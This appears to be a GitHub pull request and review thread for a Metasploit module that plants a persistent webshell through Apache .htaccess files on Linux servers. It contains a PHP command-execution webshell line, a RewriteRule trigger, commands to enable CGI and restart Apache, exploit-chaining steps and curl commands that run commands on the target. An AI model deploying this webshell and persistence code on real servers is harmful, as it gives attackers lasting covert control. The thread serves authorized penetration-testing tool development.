Skip to content

Add Apache .htaccess Persistence Module#21473

Open
4ravind-b wants to merge 6 commits into
rapid7:masterfrom
4ravind-b:apache-htaccess-persistence
Open

Add Apache .htaccess Persistence Module#21473
4ravind-b wants to merge 6 commits into
rapid7:masterfrom
4ravind-b:apache-htaccess-persistence

Conversation

@4ravind-b
Copy link
Copy Markdown
Contributor

This module adds Apache .htaccess persistence on a Linux target. It writes a malicious RewriteRule into an existing .htaccess file and drops a PHP webshell. Once deployed, an attacker can execute arbitrary commands via HTTP GET requests, even after the target reboots.

Fixes #17728

Verification

Start msfconsole.

Obtain a session on the target (Metasploitable2 used for testing):

use exploit/unix/ftp/vsftpd_234_backdoor
set RHOSTS 192.168.1.112
set LHOST <your-ip>
run
background

Load and run the module:

use post/linux/manage/apache_htaccess_persistence
set SESSION 1
set HTACCESS_PATH /var/www/.htaccess
set SHELL_PATH /var/www/shell.php
set TRIGGER_URL /shell.php
run

Verify persistence deployment:

[+] mod_rewrite enabled and Apache restarted!
[+] Trigger written!
[+] Shell dropped!
[+] Persistence deployed!

Verify command execution:

curl "http://TARGET/shell.php?cmd=whoami"

Expected output:

www-data

Verify persistence survives reboot:

curl "http://TARGET/shell.php?cmd=id"

Expected output:

uid=33(www-data)

Verify the module does not run without a valid SESSION.

Screenshots

Screenshot_2026-05-17_21_30_53 Screenshot_2026-05-17_21_32_15

htaccess_payload = "\nRewriteEngine On\n"
htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
append_file(htaccess_path, htaccess_payload)
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Back the file up to loot before editing so we can restore it later


class MetasploitModule < Msf::Post
include Msf::Post::File
include Msf::Post::Unix
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Verified on Metasploitable2 (Ubuntu).
},
'License' => MSF_LICENSE,
'Author' => ['4ravind-b'],
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

give credit to wireghoul

],
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [],
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

should be multi shell, no?

register_options([
OptString.new('HTACCESS_PATH', [true, 'Full path to .htaccess file', '/var/www/.htaccess']),
OptString.new('SHELL_PATH', [true, 'Full path to drop shell file', '/var/www/shell.php']),
OptString.new('TRIGGER_URL', [true, 'URL path to trigger shell', '/shell.php'])
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The examples from wireghoul show putting the payload in the .htaccess file: https://github.com/wireghoul/htshells/blob/master/shell/mod_cgi.shell.bash.htaccess

I'd start with mod_cgi, its easiest although not common. In theory what we'd want in the future is something to detect if any mod_* are enabled (like mod_python, mod_perl and there rest of the mod items from wireghoul's repo) and then write the payload in a compliant way. So When coding in to check for things, make sure you do it in a loop or other expandable way.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If you use AI to help with this, and it doesn't get mad at you, give it wireghoul's repo in /shell/ and let it add all the different ones


# Step 3 - Enable mod_rewrite
print_status('Enabling mod_rewrite...')
cmd_exec('a2enmod rewrite && /etc/init.d/apache2 restart')
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

restarting apache will likely be noticed by many places. I'd make the restart a boolean option, default to to true (although i'm 50/50 on that, but web servers dont restart often)


# Step 4 - Write .htaccess trigger
print_status("Writing trigger to #{htaccess_path}")
htaccess_payload = "\nRewriteEngine On\n"
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

only add if its not already there

htaccess_payload += "RewriteCond %{QUERY_STRING} trigger=shell\n"
htaccess_payload += "RewriteRule ^.*$ #{trigger_url} [L,R=302]\n"
append_file(htaccess_path, htaccess_payload)
cmd_exec("chmod 644 #{htaccess_path}")
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

i think post has a chmod function already, use that

Comment on lines +75 to +76
print_status("Dropping shell at #{shell_path}")
php_payload = '<?php if(isset($_GET[\'cmd\'])){ echo shell_exec($_GET[\'cmd\']); } ?>'
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

this can go away, embed the payload in .htaccess

# Step 6 - Done
print_good('Persistence deployed!')
print_status("Trigger with: curl 'http://TARGET/?trigger=shell'")
print_status("Run commands: curl 'http://TARGET#{trigger_url}?cmd=whoami'")
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

not needed

@github-project-automation github-project-automation Bot moved this from Todo to Waiting on Contributor in Metasploit Kanban May 17, 2026
@4ravind-b
Copy link
Copy Markdown
Contributor Author

Thanks for the detailed review @h00die and suggestions! I’ll work through the requested changes and update the PR

@github-actions
Copy link
Copy Markdown

Thanks for your pull request! Before this can be merged, we need the following documentation for your module:

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die I've addressed the following review comments:

  • Embedded payload directly in .htaccess using wireghoul's exact mod_cgi approach
  • Removed shell.php entirely
  • Added backup to loot before editing
  • Check mod_cgi before enabling
  • Made Apache restart a boolean option (RESTART_APACHE)
  • Used fail_with instead of print_error
  • Check if payload already exists before writing
  • Added wireghoul to Author credits
  • Added EVENT_DEPENDENT to Reliability
  • Passes msftidy clean
  • Tested and working on Metasploitable2 (Apache 2.2.8, Ubuntu)

Currently implemented:

  • mod_cgi shell (tested and working)

Planned for follow-up:

  • mod_php (most common, high priority)
  • mod_perl
  • mod_python
  • mod_ruby
  • mod_include
  • Auto-detection of enabled mods to pick correct payload automatically

Still working on:

  • Documentation file
  • Converting to full persistence module structure

@4ravind-b
Copy link
Copy Markdown
Contributor Author

4ravind-b commented May 18, 2026

@msutovsky-r7 and @h00die Documentation has been added at:
documentation/modules/post/linux/manage/apache_htaccess_persistence.md
Covers:

  • Vulnerable Application (requirements and tested environment)
  • Verification Steps
  • Options (HTACCESS_PATH, RESTART_APACHE, SESSION)
  • Scenarios (Metasploitable2 with mod_cgi)
    Will update docs as more shell types are added.

@msutovsky-r7
Copy link
Copy Markdown
Contributor

@4ravind-b thanks for the changes, but it still doesn't seem like your module reflects the structure, function or location of persistence module. Take a look at structure of this - the persistence module should provide a "persistence" mechanism, meaning you'll receive a new shell from your persistence mechanism and then when you close that connection, restart the handler, re-trigger the persistence mechanism, you'll get a shell. Please make necessary changes. Furthermore, your module is in wrong folder - it still exists as post module, rather than persistence module, which is separate category in exploit/linux/ (in this case).

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 Thanks for the clarification! I'll:

  1. Move the module to modules/exploits/linux/persistence/
  2. Convert to Msf::Exploit::Local with install_persistence method
  3. Add payload handler so triggering .htaccess gives back a shell session

Will update the PR shortly.

@4ravind-b
Copy link
Copy Markdown
Contributor Author

4ravind-b commented May 18, 2026

@msutovsky-r7 I've moved the module to modules/exploits/linux/persistence/ and converted it to Msf::Exploit::Local using install_persistence.

The module successfully deploys the .htaccess payload and starts a handler, but I'm running into issues with payload execution:

  • cmd/linux/http/x86/shell_reverse_tcp generates commands containing semicolons, which break when executed in the CGI context.
  • linux/x86/shell_reverse_tcp writes raw shellcode into .htaccess, which Apache cannot parse correctly.

The original wireghoul .htaccess CGI approach appears to expect simple bash command execution.

Would you recommend using a different payload type here, or should the module switch to another execution approach for obtaining a shell?

Current generated .htaccess payload structure:

#!/bin/sh
winning \

echo -en "Content-Type: text/plain\r\n\r\n"

@msutovsky-r7 msutovsky-r7 self-assigned this May 18, 2026
@4ravind-b
Copy link
Copy Markdown
Contributor Author

@msutovsky-r7 @h00die I've been working on the payload execution issue but still running into the same problem — CMD payloads generate semicolons which break in the CGI context.

While waiting for guidance on the payload approach, would it be okay if I start working on another module in parallel? Happy to come back to this as soon as you advise on the payload direction.

@4ravind-b
Copy link
Copy Markdown
Contributor Author

Hi @h00die , @msutovsky-r7 , and @zeroSteiner — just a heads up: I’ll be unavailable starting this Saturday for about a week.

I’ll continue working on PR #21473 as soon as I’m back. Thanks for your patience!

@h00die
Copy link
Copy Markdown
Contributor

h00die commented May 20, 2026

general ideas to get around character issues:

  1. Use metasploit's built in badchars:
          'BadChars' => "\x00\x0a\x0d",
        },
  1. Use encoding like base64 on the payload, then have the .htaccess file base64 decode it right into a shell.

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die Thanks for the suggestions! I'll implement the base64 approach — encode the payload and have .htaccess decode and execute it. Will update the PR when I'm back next week.

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die I've tested on both Apache 2.2.8 (Metasploitable2) and Apache 2.4.67 (local). Unfortunately, both suggestions still fail in the CGI context.

  1. The #winning \ line continuation trick doesn't prevent Apache from treating echo as an invalid directive on either version.

  2. The base64 approach also fails — Apache still parses echo as an Apache directive before CGI execution happens.

Tested structure:

#!/bin/sh
# winning \
echo -en "Content-Type: text/plain\r\n\r\n"
echo hello
Options +ExecCGI
AddHandler cgi-script .htaccess

Error log on both versions:

Invalid command 'echo'

Could you share the exact working example or Apache configuration needed for this trick to work?

@h00die
Copy link
Copy Markdown
Contributor

h00die commented May 20, 2026

best i can do is point you to the source repo. try their work and modify from there. While I tried this a little, it was YEARS ago

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die still wrapping my head around exactly how Apache handles the CGI execution order here — the more I dig into it the more interesting (and confusing) it gets! Will go through the wireghoul examples and come up with something concrete. Also is the wireghoul repo the only reference for this? Asking because I'm currently preparing for CEH and planning toward OSCP, so any resources you'd recommend would really help!

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die @msutovsky-r7 Update — got it working using wireghoul's exact original structure!

What was fixed:

  • Used wireghoul's exact .htaccess format with all shell commands on a single line separated by semicolons
  • Apache directives (, Options +ExecCGI, AddHandler) included at the bottom
  • Module backs up original .htaccess to loot before writing

Verified working on Apache 2.2.8 (Metasploitable2) after manually configuring Apache with:

  • a2enmod cgi
  • Options +ExecCGI and AllowOverride All in /var/www/ directory

Command execution via URL: curl "http://TARGET/.htaccess?whoami" → returns www-data
Persistence survives reboot

Screenshot_2026-05-21_20_00_16 Screenshot_2026-05-21_20_05_54 Screenshot_2026-05-21_20_08_32 Screenshot_2026-05-21_20_09_44 Screenshot_2026-05-21_20_11_12 Screenshot_2026-05-21_20_12_42 Screenshot_2026-05-21_20_13_06

Note: This module works on Apache servers already configured for .htaccess CGI execution.
The target Apache must have mod_cgi enabled and AllowOverride configured appropriately.

Still pending:

  • Converting from command execution webshell to proper reverse shell session as requested by @msutovsky-r7
  • Will work on that next week after my break

@h00die
Copy link
Copy Markdown
Contributor

h00die commented May 21, 2026

good progress! that should help you now work out how to get an arbitrary payload working

no need to include screenshots, usually just your msf console is good

@4ravind-b
Copy link
Copy Markdown
Contributor Author

@h00die Thanks! I'll work on integrating arbitrary payload support.

Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I think this is leftover file

mod_check = cmd_exec('apache2ctl -M 2>/dev/null || httpd -M 2>/dev/null')
unless mod_check.include?('cgi')
print_status('Enabling mod_cgi...')
cmd_exec('a2enmod cgi')
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Use create_process as cmd_exec should be depreciated

Comment on lines +136 to +138
def exploit
install_persistence
end
Copy link
Copy Markdown
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The install_persistence is called automatically when the module is persistence module

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Projects

Status: Waiting on Contributor

Development

Successfully merging this pull request may close these issues.

Apache htaccess Persistence

4 participants